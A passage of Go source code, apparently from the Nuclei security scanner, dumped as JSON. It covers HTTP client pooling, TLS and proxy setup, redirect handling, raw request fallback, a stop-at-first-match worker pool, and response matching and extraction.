dialers.Unlock()\n\n\tif dialers.RawHTTPClient != nil {\n\t\treturn dialers.RawHTTPClient\n\t}\n\n\trawHttpOptionsCopy := *rawhttp.DefaultOptions\n\tif options.Options.AliveHttpProxy != \"\" {\n\t\trawHttpOptionsCopy.Proxy = options.Options.AliveHttpProxy\n\t} else if options.Options.AliveSocksProxy != \"\" {\n\t\trawHttpOptionsCopy.Proxy = options.Options.AliveSocksProxy\n\t} else if dialers.Fastdialer != nil {\n\t\trawHttpOptionsCopy.FastDialer = dialers.Fastdialer\n\t}\n\trawHttpOptionsCopy.Timeout = options.Options.GetTimeouts().HttpTimeout\n\tdialers.RawHTTPClient = rawhttp.NewClient(&rawHttpOptionsCopy)\n\treturn dialers.RawHTTPClient\n}\n\n// Get creates or gets a client for the protocol based on custom configuration\nfunc Get(options *types.Options, configuration *Configuration) (*retryablehttp.Client, error) {\n\tif configuration.HasStandardOptions() {\n\t\tdialers := protocolstate.GetDialersWithId(options.ExecutionId)\n\t\tif dialers == nil {\n\t\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", options.ExecutionId)\n\t\t}\n\t\treturn dialers.DefaultHTTPClient, nil\n\t}\n\n\treturn wrappedGet(options, configuration)\n}\n\n// wrappedGet wraps a get operation without normal client check\nfunc wrappedGet(options *types.Options, configuration *Configuration) (*retryablehttp.Client, error) {\n\tvar err error\n\n\tdialers := protocolstate.GetDialersWithId(options.ExecutionId)\n\tif dialers == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", options.ExecutionId)\n\t}\n\n\thash := configuration.Hash()\n\tif client, ok := dialers.HTTPClientPool.Get(hash); ok {\n\t\treturn client, nil\n\t}\n\n\t// Multiple Host\n\tretryableHttpOptions := retryablehttp.DefaultOptionsSpraying\n\tdisableKeepAlives := true\n\tmaxIdleConns := 0\n\tmaxConnsPerHost := 0\n\tmaxIdleConnsPerHost := -1\n\t// do not split given timeout into chunks for retry\n\t// because this won't work on slow hosts\n\tretryableHttpOptions.NoAdjustTimeout = true\n\n\tif configuration.Threads > 0 || options.ScanStrategy == scanstrategy.HostSpray.String() {\n\t\t// Single host\n\t\tretryableHttpOptions = retryablehttp.DefaultOptionsSingle\n\t\tdisableKeepAlives = false\n\t\tmaxIdleConnsPerHost = 500\n\t\tmaxConnsPerHost = 500\n\t}\n\n\tretryableHttpOptions.RetryWaitMax = 10 * time.Second\n\tretryableHttpOptions.RetryMax = options.Retries\n\tretryableHttpOptions.Timeout = time.Duration(options.Timeout) * time.Second\n\tif configuration.ResponseHeaderTimeout > 0 && configuration.ResponseHeaderTimeout > retryableHttpOptions.Timeout {\n\t\tretryableHttpOptions.Timeout = configuration.ResponseHeaderTimeout\n\t}\n\tredirectFlow := configuration.RedirectFlow\n\tmaxRedirects := configuration.MaxRedirects\n\n\tif forceMaxRedirects > 0 {\n\t\t// by default we enable general redirects following\n\t\tswitch {\n\t\tcase options.FollowHostRedirects:\n\t\t\tredirectFlow = FollowSameHostRedirect\n\t\tdefault:\n\t\t\tredirectFlow = FollowAllRedirect\n\t\t}\n\t\tmaxRedirects = forceMaxRedirects\n\t}\n\tif options.DisableRedirects {\n\t\toptions.FollowRedirects = false\n\t\toptions.FollowHostRedirects = false\n\t\tredirectFlow = DontFollowRedirect\n\t\tmaxRedirects = 0\n\t}\n\n\t// override connection's settings if required\n\tif configuration.Connection != nil {\n\t\tdisableKeepAlives = configuration.Connection.DisableKeepAlive\n\t}\n\n\t// Set the base TLS configuration definition\n\ttlsConfig := &tls.Config{\n\t\tRenegotiation:      tls.RenegotiateOnceAsClient,\n\t\tInsecureSkipVerify: true,\n\t\tMinVersion:         tls.VersionTLS10,\n\t\tClientSessionCache: tls.NewLRUClientSessionCache(1024),\n\t}\n\n\tif options.SNI != \"\" {\n\t\ttlsConfig.ServerName = options.SNI\n\t}\n\n\t// Add the client certificate authentication to the request if it's configured\n\ttlsConfig, err = utils.AddConfiguredClientCertToRequest(tlsConfig, options)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create client certificate\")\n\t}\n\n\t// responseHeaderTimeout is max timeout for response headers to be read\n\tresponseHeaderTimeout := options.GetTimeouts().HttpResponseHeaderTimeout\n\tif configuration.ResponseHeaderTimeout != 0 {\n\t\tresponseHeaderTimeout = configuration.ResponseHeaderTimeout\n\t}\n\n\tif responseHeaderTimeout < retryableHttpOptions.Timeout {\n\t\tresponseHeaderTimeout = retryableHttpOptions.Timeout\n\t}\n\n\tif configuration.Connection != nil && configuration.Connection.CustomMaxTimeout > 0 {\n\t\tresponseHeaderTimeout = configuration.Connection.CustomMaxTimeout\n\t}\n\n\ttransport := &http.Transport{\n\t\tForceAttemptHTTP2: options.ForceAttemptHTTP2,\n\t\tDialContext:       dialers.Fastdialer.Dial,\n\t\tDialTLSContext: func(ctx context.Context, network, addr string) (net.Conn, error) {\n\t\t\tif options.TlsImpersonate {\n\t\t\t\treturn dialers.Fastdialer.DialTLSWithConfigImpersonate(ctx, network, addr, tlsConfig, impersonate.Random, nil)\n\t\t\t}\n\t\t\tif options.HasClientCertificates() || options.ForceAttemptHTTP2 {\n\t\t\t\treturn dialers.Fastdialer.DialTLSWithConfig(ctx, network, addr, tlsConfig)\n\t\t\t}\n\t\t\treturn dialers.Fastdialer.DialTLS(ctx, network, addr)\n\t\t},\n\t\tMaxIdleConns:          maxIdleConns,\n\t\tMaxIdleConnsPerHost:   maxIdleConnsPerHost,\n\t\tMaxConnsPerHost:       maxConnsPerHost,\n\t\tTLSClientConfig:       tlsConfig,\n\t\tDisableKeepAlives:     disableKeepAlives,\n\t\tResponseHeaderTimeout: responseHeaderTimeout,\n\t}\n\n\tif options.AliveHttpProxy != \"\" {\n\t\tif proxyURL, err := url.Parse(options.AliveHttpProxy); err == nil {\n\t\t\ttransport.Proxy = http.ProxyURL(proxyURL)\n\t\t}\n\t} else if options.AliveSocksProxy != \"\" {\n\t\tsocksURL, proxyErr := url.Parse(options.AliveSocksProxy)\n\t\tif proxyErr != nil {\n\t\t\treturn nil, proxyErr\n\t\t}\n\n\t\tdialer, err := proxy.FromURL(socksURL, proxy.Direct)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tdc := dialer.(interface {\n\t\t\tDialContext(ctx context.Context, network, addr string) (net.Conn, error)\n\t\t})\n\n\t\ttransport.DialContext = dc.DialContext\n\t\ttransport.DialTLSContext = func(ctx context.Context, network, addr string) (net.Conn, error) {\n\t\t\t// upgrade proxy connection to tls\n\t\t\tconn, err := dc.DialContext(ctx, network, addr)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tif tlsConfig.ServerName == \"\" {\n\t\t\t\t// addr should be in form of host:port already set from canonicalAddr\n\t\t\t\thost, _, err := net.SplitHostPort(addr)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\ttlsConfig.ServerName = host\n\t\t\t}\n\t\t\treturn tls.Client(conn, tlsConfig), nil\n\t\t}\n\t}\n\n\tvar jar *cookiejar.Jar\n\tif configuration.Connection != nil && configuration.Connection.HasCookieJar() {\n\t\tjar = configuration.Connection.GetCookieJar()\n\t} else if !configuration.DisableCookie {\n\t\tif jar, err = cookiejar.New(&cookiejar.Options{PublicSuffixList: publicsuffix.List}); err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not create cookiejar\")\n\t\t}\n\t}\n\n\thttpclient := &http.Client{\n\t\tTransport:     transport,\n\t\tCheckRedirect: makeCheckRedirectFunc(redirectFlow, maxRedirects),\n\t}\n\tif !configuration.NoTimeout {\n\t\thttpclient.Timeout = options.GetTimeouts().HttpTimeout\n\t\tif configuration.Connection != nil && configuration.Connection.CustomMaxTimeout > 0 {\n\t\t\thttpclient.Timeout = configuration.Connection.CustomMaxTimeout\n\t\t}\n\t}\n\tclient := retryablehttp.NewWithHTTPClient(httpclient, retryableHttpOptions)\n\tif jar != nil {\n\t\tclient.HTTPClient.Jar = jar\n\t}\n\tclient.CheckRetry = retryablehttp.HostSprayRetryPolicy()\n\n\t// Only add to client pool if we don't have a cookie jar in place.\n\tif jar == nil {\n\t\tif err := dialers.HTTPClientPool.Set(hash, client); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn client, nil\n}\n\ntype RedirectFlow uint8\n\nconst (\n\tDontFollowRedirect RedirectFlow = iota\n\tFollowSameHostRedirect\n\tFollowAllRedirect\n)\n\nconst defaultMaxRedirects = 10\n\ntype checkRedirectFunc func(req *http.Request, via []*http.Request) error\n\nfunc makeCheckRedirectFunc(redirectType RedirectFlow, maxRedirects int) checkRedirectFunc {\n\treturn func(req *http.Request, via []*http.Request) error {\n\t\tswitch redirectType {\n\t\tcase DontFollowRedirect:\n\t\t\treturn http.ErrUseLastResponse\n\t\tcase FollowSameHostRedirect:\n\t\t\tvar newHost = req.URL.Host\n\t\t\tvar oldHost = via[0].Host\n\t\t\tif oldHost == \"\" {\n\t\t\t\toldHost = via[0].URL.Host\n\t\t\t}\n\t\t\tif newHost != oldHost {\n\t\t\t\t// Tell the http client to not follow redirect\n\t\t\t\treturn http.ErrUseLastResponse\n\t\t\t}\n\t\t\treturn checkMaxRedirects(req, via, maxRedirects)\n\t\tcase FollowAllRedirect:\n\t\t\treturn checkMaxRedirects(req, via, maxRedirects)\n\t\t}\n\t\treturn nil\n\t}\n}\n\nfunc checkMaxRedirects(req *http.Request, via []*http.Request, maxRedirects int) error {\n\tif maxRedirects == 0 {\n\t\tif len(via) > defaultMaxRedirects {\n\t\t\treturn http.ErrUseLastResponse\n\t\t}\n\t\treturn nil\n\t}\n\n\tif len(via) > maxRedirects {\n\t\treturn http.ErrUseLastResponse\n\t}\n\n\t// NOTE(dwisiswant0): rebuild request URL. See #5900.\n\tif u := req.URL.String(); !isURLEncoded(u) {\n\t\tparsed, err := urlutil.Parse(u)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%w: %w\", ErrRebuildURL, err)\n\t\t}\n\n\t\treq.URL = parsed.URL\n\t}\n\n\treturn nil\n}\n\n// isURLEncoded is an helper function to check if the URL is already encoded\n//\n// NOTE(dwisiswant0): shall we move this under `projectdiscovery/utils/urlutil`?\nfunc isURLEncoded(s string) bool {\n\tdecoded, err := url.QueryUnescape(s)\n\tif err != nil {\n\t\t// If decoding fails, it may indicate a malformed URL/invalid encoding.\n\t\treturn false\n\t}\n\n\treturn decoded != s\n}\n"
  },
  {
    "path": "pkg/protocols/http/httpclientpool/errors.go",
    "content": "package httpclientpool\n\nimport \"errors\"\n\nvar (\n\tErrRebuildURL = errors.New(\"could not rebuild request URL\")\n)\n"
  },
  {
    "path": "pkg/protocols/http/httpclientpool/options.go",
    "content": "package httpclientpool\n\nimport (\n\t\"io\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/rawhttp\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\n// WithCustomTimeout is a configuration for custom timeout\ntype WithCustomTimeout struct {\n\tTimeout time.Duration\n}\n\n// RawHttpRequestOpts is a configuration for raw http request\ntype RawHttpRequestOpts struct {\n\t// Method is the http method to use\n\tMethod string\n\t// URL is the url to request\n\tURL string\n\t// Path is request path to use\n\tPath string\n\t// Headers is the headers to use\n\tHeaders map[string][]string\n\t// Body is the body to use\n\tBody io.Reader\n\t// Options is more client related options\n\tOptions *rawhttp.Options\n}\n\n// SendRawRequest sends a raw http request with the provided options and returns http response\nfunc SendRawRequest(client *rawhttp.Client, opts *RawHttpRequestOpts) (*http.Response, error) {\n\tresp, err := client.DoRawWithOptions(opts.Method, opts.URL, opts.Path, opts.Headers, opts.Body, opts.Options)\n\tif err != nil {\n\t\tcause := err.Error()\n\t\tif stringsutil.ContainsAll(cause, \"ReadStatusLine: \", \"read: connection reset by peer\") {\n\t\t\t// this error is caused when rawhttp client sends a corrupted or malformed request packet to server\n\t\t\t// some servers may attempt gracefully shutdown but most will just abruptly close the connection which results\n\t\t\t// in a connection reset by peer error and this can be safely assumed as 400 Bad Request in terms of normal http flow\n\t\t\treq, reqErr := http.NewRequest(opts.Method, opts.URL, opts.Body)\n\t\t\tif reqErr != nil {\n\t\t\t\t// failed to build new request mostly because of invalid url or body\n\t\t\t\t// try again or else return urlErr\n\t\t\t\tparsed, urlErr := urlutil.ParseAbsoluteURL(opts.URL, true)\n\t\t\t\tif urlErr != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\treq, reqErr = http.NewRequest(opts.Method, parsed.Host, opts.Body)\n\t\t\t\tif reqErr != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\treq.URL = parsed.URL\n\t\t\t\treq.Header = opts.Headers\n\t\t\t}\n\n\t\t\t// if req is still nil, return error\n\t\t\tif req == nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\treq.Header = opts.Headers\n\t\t\tresp = &http.Response{\n\t\t\t\tRequest:    req,\n\t\t\t\tStatusCode: http.StatusBadRequest,\n\t\t\t\tStatus:     http.StatusText(http.StatusBadRequest),\n\t\t\t\tBody:       io.NopCloser(strings.NewReader(\"\")),\n\t\t\t}\n\t\t\treturn resp, nil\n\t\t}\n\t}\n\treturn resp, err\n}\n"
  },
  {
    "path": "pkg/protocols/http/httputils/misc.go",
    "content": "package httputils\n\nimport (\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\n// if template contains more than 1 request and matchers require requestcondition from\n// both requests , then we need to request for event from interactsh even if current request\n// doesnot use interactsh url in it\nfunc GetInteractshURLSFromEvent(event map[string]interface{}) []string {\n\tinteractshUrls := map[string]struct{}{}\n\tfor k, v := range event {\n\t\tif strings.HasPrefix(k, \"interactsh-url\") {\n\t\t\tinteractshUrls[types.ToString(v)] = struct{}{}\n\t\t}\n\t}\n\treturn mapsutil.GetKeys(interactshUrls)\n}\n"
  },
  {
    "path": "pkg/protocols/http/httputils/spm.go",
    "content": "package httputils\n\nimport (\n\t\"context\"\n\t\"sync\"\n\n\tsyncutil \"github.com/projectdiscovery/utils/sync\"\n\t\"golang.org/x/exp/maps\"\n)\n\n// WorkPoolType is the type of work pool to use\ntype WorkPoolType uint\n\nconst (\n\t// Blocking blocks addition of new work when the pool is full\n\tBlocking WorkPoolType = iota\n\t// NonBlocking does not block addition of new work when the pool is full\n\tNonBlocking\n)\n\n// StopAtFirstMatchHandler is a handler that executes\n// request and stops on first match\ntype StopAtFirstMatchHandler[T comparable] struct {\n\tonce sync.Once\n\t// Result Channel\n\tResultChan chan T\n\n\t// work pool and its type\n\tpoolType WorkPoolType\n\tsgPool   *syncutil.AdaptiveWaitGroup\n\twgPool   *sync.WaitGroup\n\n\t// internal / unexported\n\tctx         context.Context\n\tcancel      context.CancelFunc\n\tinternalWg  *sync.WaitGroup\n\tresults     map[T]struct{}\n\tonResult    func(T)\n\tstopEnabled bool\n\tmaxResults  int\n}\n\n// NewBlockingSPMHandler creates a new stop at first match handler\nfunc NewBlockingSPMHandler[T comparable](ctx context.Context, size int, maxResults int, spm bool) *StopAtFirstMatchHandler[T] {\n\tctx1, cancel := context.WithCancel(ctx)\n\n\tawg, _ := syncutil.New(syncutil.WithSize(size))\n\n\ts := &StopAtFirstMatchHandler[T]{\n\t\tResultChan:  make(chan T, 1),\n\t\tpoolType:    Blocking,\n\t\tsgPool:      awg,\n\t\tinternalWg:  &sync.WaitGroup{},\n\t\tctx:         ctx1,\n\t\tcancel:      cancel,\n\t\tstopEnabled: spm,\n\t\tresults:     make(map[T]struct{}),\n\t\tmaxResults:  maxResults,\n\t}\n\ts.internalWg.Add(1)\n\tgo s.run(ctx)\n\treturn s\n}\n\n// NewNonBlockingSPMHandler creates a new stop at first match handler\nfunc NewNonBlockingSPMHandler[T comparable](ctx context.Context, maxResults int, spm bool) *StopAtFirstMatchHandler[T] {\n\tctx1, cancel := context.WithCancel(ctx)\n\ts := &StopAtFirstMatchHandler[T]{\n\t\tResultChan:  make(chan T, 1),\n\t\tpoolType:    NonBlocking,\n\t\twgPool:      &sync.WaitGroup{},\n\t\tinternalWg:  &sync.WaitGroup{},\n\t\tctx:         ctx1,\n\t\tcancel:      cancel,\n\t\tstopEnabled: spm,\n\t\tresults:     make(map[T]struct{}),\n\t\tmaxResults:  maxResults,\n\t}\n\ts.internalWg.Add(1)\n\tgo s.run(ctx)\n\treturn s\n}\n\n// Trigger triggers the stop at first match handler and stops the execution of\n// existing requests\nfunc (h *StopAtFirstMatchHandler[T]) Trigger() {\n\tif h.stopEnabled {\n\t\th.cancel()\n\t}\n}\n\n// Cancel cancels spm context\nfunc (h *StopAtFirstMatchHandler[T]) Cancel() {\n\th.cancel()\n}\n\n// SetOnResult callback\n// this is not thread safe\nfunc (h *StopAtFirstMatchHandler[T]) SetOnResultCallback(fn func(T)) {\n\tif h.onResult != nil {\n\t\ttmp := h.onResult\n\t\th.onResult = func(t T) {\n\t\t\ttmp(t)\n\t\t\tfn(t)\n\t\t}\n\t} else {\n\t\th.onResult = fn\n\t}\n}\n\n// MatchCallback is called when a match is found\n// input fn should be the callback that is intended to be called\n// if stop at first is enabled and other conditions are met\n// if it does not meet above conditions, use of this function is discouraged\nfunc (h *StopAtFirstMatchHandler[T]) MatchCallback(fn func()) {\n\tif !h.stopEnabled {\n\t\tfn()\n\t\treturn\n\t}\n\th.once.Do(fn)\n}\n\n// run runs the internal handler\nfunc (h *StopAtFirstMatchHandler[T]) run(ctx context.Context) {\n\tdefer h.internalWg.Done()\n\n\tfor {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn\n\t\tcase val, ok := <-h.ResultChan:\n\t\t\tif !ok {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif h.onResult != nil {\n\t\t\t\th.onResult(val)\n\t\t\t}\n\t\t\tif len(h.results) >= h.maxResults {\n\t\t\t\t// skip or do not store the result\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\th.results[val] = struct{}{}\n\t\t}\n\t}\n}\n\n// Done returns a channel with the context done signal when stop at first match is detected\nfunc (h *StopAtFirstMatchHandler[T]) Done() <-chan struct{} {\n\treturn h.ctx.Done()\n}\n\n// Cancelled returns true if the context is cancelled\nfunc (h *StopAtFirstMatchHandler[T]) Cancelled() bool {\n\treturn h.ctx.Err() != nil\n}\n\n// FoundFirstMatch returns true if first match was found\n// in stop at first match mode\nfunc (h *StopAtFirstMatchHandler[T]) FoundFirstMatch() bool {\n\tif h.ctx.Err() != nil && h.stopEnabled {\n\t\treturn true\n\t}\n\treturn false\n}\n\n// Acquire acquires a new work\nfunc (h *StopAtFirstMatchHandler[T]) Acquire() {\n\tswitch h.poolType {\n\tcase Blocking:\n\t\th.sgPool.Add()\n\tcase NonBlocking:\n\t\th.wgPool.Add(1)\n\t}\n}\n\n// Release releases a work\nfunc (h *StopAtFirstMatchHandler[T]) Release() {\n\tswitch h.poolType {\n\tcase Blocking:\n\t\th.sgPool.Done()\n\tcase NonBlocking:\n\t\th.wgPool.Done()\n\t}\n}\n\nfunc (h *StopAtFirstMatchHandler[T]) Resize(ctx context.Context, size int) error {\n\tif h.sgPool.Size != size {\n\t\treturn h.sgPool.Resize(ctx, size)\n\t}\n\treturn nil\n}\n\nfunc (h *StopAtFirstMatchHandler[T]) Size() int {\n\treturn h.sgPool.Size\n}\n\n// Wait waits for all work to be done\nfunc (h *StopAtFirstMatchHandler[T]) Wait() {\n\tswitch h.poolType {\n\tcase Blocking:\n\t\th.sgPool.Wait()\n\tcase NonBlocking:\n\t\th.wgPool.Wait()\n\t}\n\t// after waiting it closes the error channel\n\tclose(h.ResultChan)\n\th.internalWg.Wait()\n}\n\n// CombinedResults returns the combined results\nfunc (h *StopAtFirstMatchHandler[T]) CombinedResults() []T {\n\treturn maps.Keys(h.results)\n}\n"
  },
  {
    "path": "pkg/protocols/http/operators.go",
    "content": "package http\n\nimport (\n\t\"maps\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// Match matches a generic data response again a given matcher\n// TODO: Try to consolidate this in protocols.MakeDefaultMatchFunc to avoid any inconsistencies\nfunc (request *Request) Match(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string) {\n\titem, ok := request.getMatchPart(matcher.Part, data)\n\tif !ok && matcher.Type.MatcherType != matchers.DSLMatcher {\n\t\treturn false, []string{}\n\t}\n\n\tswitch matcher.GetType() {\n\tcase matchers.StatusMatcher:\n\t\tstatusCode, ok := getStatusCode(data)\n\t\tif !ok {\n\t\t\treturn false, []string{}\n\t\t}\n\t\treturn matcher.Result(matcher.MatchStatusCode(statusCode)), []string{responsehighlighter.CreateStatusCodeSnippet(data[\"response\"].(string), statusCode)}\n\tcase matchers.SizeMatcher:\n\t\treturn matcher.Result(matcher.MatchSize(len(item))), []string{}\n\tcase matchers.WordsMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchWords(item, data))\n\tcase matchers.RegexMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchRegex(item))\n\tcase matchers.BinaryMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchBinary(item))\n\tcase matchers.DSLMatcher:\n\t\treturn matcher.Result(matcher.MatchDSL(data)), []string{}\n\tcase matchers.XPathMatcher:\n\t\treturn matcher.Result(matcher.MatchXPath(item)), []string{}\n\t}\n\treturn false, []string{}\n}\n\nfunc getStatusCode(data map[string]interface{}) (int, bool) {\n\tstatusCodeValue, ok := data[\"status_code\"]\n\tif !ok {\n\t\treturn 0, false\n\t}\n\tstatusCode, ok := statusCodeValue.(int)\n\tif !ok {\n\t\treturn 0, false\n\t}\n\treturn statusCode, true\n}\n\n// Extract performs extracting operation for an extractor on model and returns true or false.\nfunc (request *Request) Extract(data map[string]interface{}, extractor *extractors.Extractor) map[string]struct{} {\n\titem, ok := request.getMatchPart(extractor.Part, data)\n\tif !ok && !extractors.SupportsMap(extractor) {\n\t\treturn nil\n\t}\n\tswitch extractor.GetType() {\n\tcase extractors.RegexExtractor:\n\t\treturn extractor.ExtractRegex(item)\n\tcase extractors.KValExtractor:\n\t\treturn extractor.ExtractKval(data)\n\tcase extractors.XPathExtractor:\n\t\treturn extractor.ExtractXPath(item)\n\tcase extractors.JSONExtractor:\n\t\treturn extractor.ExtractJSON(item)\n\tcase extractors.DSLExtractor:\n\t\treturn extractor.ExtractDSL(data)\n\t}\n\treturn nil\n}\n\n// getMatchPart returns the match part honoring \"all\" matchers + others.\nfunc (request *Request) getMatchPart(part string, data output.InternalEvent) (string, bool) {\n\tif part == \"\" {\n\t\tpart = \"body\"\n\t}\n\tif part == \"header\" {\n\t\tpart = \"all_headers\"\n\t}\n\tvar itemStr string\n\n\tif part == \"all\" {\n\t\tbuilder := &strings.Builder{}\n\t\tbuilder.WriteString(types.ToString(data[\"body\"]))\n\t\tbuilder.WriteString(types.ToString(data[\"all_headers\"]))\n\t\titemStr = builder.String()\n\t} else {\n\t\titem, ok := data[part]\n\t\tif !ok {\n\t\t\treturn \"\", false\n\t\t}\n\t\titemStr = types.ToString(item)\n\t}\n\treturn itemStr, true\n}\n\n// responseToDSLMap converts an HTTP response to a map for use in DSL matching\nfunc (request *Request) responseToDSLMap(resp *http.Response, host, matched, rawReq, rawResp, body, headers string, duration time.Duration, extra map[string]interface{}) output.InternalEvent {\n\tdata := make(output.InternalEvent, 12+len(extra)+len(resp.Header)+len(resp.Cookies()))\n\tmaps.Copy(data, extra)\n\tfor _, cookie := range resp.Cookies() {\n\t\trequest.setHashOrDefault(data, strings.ToLower(cookie.Name), cookie.Value)\n\t}\n\tfor k, v := range resp.Header {\n\t\tk = strings.ToLower(strings.ReplaceAll(strings.TrimSpace(k), \"-\", \"_\"))\n\t\trequest.setHashOrDefault(data, k, strings.Join(v, \" \"))\n\t}\n\tdata[\"host\"] = host\n\tdata[\"type\"] = request.Type().String()\n\tdata[\"matched\"] = matched\n\trequest.setHashOrDefault(data, \"request\", rawReq)\n\trequest.setHashOrDefault(data, \"response\", rawResp)\n\tdata[\"status_code\"] = resp.StatusCode\n\trequest.setHashOrDefault(data, \"body\", body)\n\trequest.setHashOrDefault(data, \"all_headers\", headers)\n\trequest.setHashOrDefault(data, \"header\", headers)\n\tdata[\"duration\"] = duration.Seconds()\n\tdata[\"template-id\"] = request.options.TemplateID\n\tdata[\"template-info\"] = request.options.TemplateInfo\n\tdata[\"template-path\"] = request.options.TemplatePath\n\n\tdata[\"content_length\"] = utils.CalculateContentLength(resp.ContentLength, int64(len(body)))\n\n\tif request.StopAtFirstMatch || request.options.StopAtFirstMatch {\n\t\tdata[\"stop-at-first-match\"] = true\n\t}\n\treturn data\n}\n\n// TODO: disabling hdd storage while testing backpressure mechanism\nfunc (request *Request) setHashOrDefault(data output.InternalEvent, k string, v string) {\n\t// if hash, err := request.options.Storage.SetString(v); err == nil {\n\t// \tdata[k] = hash\n\t// } else {\n\tdata[k] = v\n\t//}\n}\n\n// MakeResultEvent creates a result event from internal wrapped event\nfunc (request *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*output.ResultEvent {\n\treturn protocols.MakeDefaultResultEvent(request, wrapped)\n}\n\nfunc (request *Request) GetCompiledOperators() []*operators.Operators {\n\treturn []*operators.Operators{request.CompiledOperators}\n}\n\nfunc (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {\n\tfields := utils.GetJsonFieldsFromURL(types.ToString(wrapped.InternalEvent[\"host\"]))\n\tif types.ToString(wrapped.InternalEvent[\"ip\"]) != \"\" {\n\t\tfields.Ip = types.ToString(wrapped.InternalEvent[\"ip\"])\n\t}\n\tif types.ToString(wrapped.InternalEvent[\"path\"]) != \"\" {\n\t\tfields.Path = types.ToString(wrapped.InternalEvent[\"path\"])\n\t}\n\tvar isGlobalMatchers bool\n\tif value, ok := wrapped.InternalEvent[\"global-matchers\"]; ok {\n\t\tisGlobalMatchers = value.(bool)\n\t}\n\tvar analyzerDetails string\n\tif value, ok := wrapped.InternalEvent[\"analyzer_details\"]; ok {\n\t\tanalyzerDetails = value.(string)\n\t}\n\tvar reqURLPattern string\n\tif request.options.ExportReqURLPattern {\n\t\tif value, ok := wrapped.InternalEvent[ReqURLPatternKey]; ok {\n\t\t\treqURLPattern = types.ToString(value)\n\t\t}\n\t}\n\tdata := &output.ResultEvent{\n\t\tTemplateID:       types.ToString(wrapped.InternalEvent[\"template-id\"]),\n\t\tTemplatePath:     types.ToString(wrapped.InternalEvent[\"template-path\"]),\n\t\tInfo:             wrapped.InternalEvent[\"template-info\"].(model.Info),\n\t\tTemplateVerifier: request.options.TemplateVerifier,\n\t\tType:             types.ToString(wrapped.InternalEvent[\"type\"]),\n\t\tHost:             fields.Host,\n\t\tPort:             fields.Port,\n\t\tScheme:           fields.Scheme,\n\t\tURL:              fields.URL,\n\t\tPath:             fields.Path,\n\t\tMatched:          types.ToString(wrapped.InternalEvent[\"matched\"]),\n\t\tMetadata:         wrapped.OperatorsResult.PayloadValues,\n\t\tExtractedResults: wrapped.OperatorsResult.OutputExtracts,\n\t\tTimestamp:        time.Now(),\n\t\tMatcherStatus:    true,\n\t\tIP:               fields.Ip,\n\t\tGlobalMatchers:   isGlobalMatchers,\n\t\tRequest:          types.ToString(wrapped.InternalEvent[\"request\"]),\n\t\tResponse:         request.truncateResponse(wrapped.InternalEvent[\"response\"]),\n\t\tCURLCommand:      types.ToString(wrapped.InternalEvent[\"curl-command\"]),\n\t\tTemplateEncoded:  request.options.EncodeTemplate(),\n\t\tError:            types.ToString(wrapped.InternalEvent[\"error\"]),\n\t\tAnalyzerDetails:  analyzerDetails,\n\t\tReqURLPattern:    reqURLPattern,\n\t}\n\treturn data\n}\n\nfunc (request *Request) truncateResponse(response interface{}) string {\n\tresponseString := types.ToString(response)\n\tif len(responseString) > request.options.Options.ResponseSaveSize {\n\t\treturn responseString[:request.options.Options.ResponseSaveSize]\n\t}\n\treturn responseString\n}\n"
  },
  {
    "path": "pkg/protocols/http/operators_test.go",
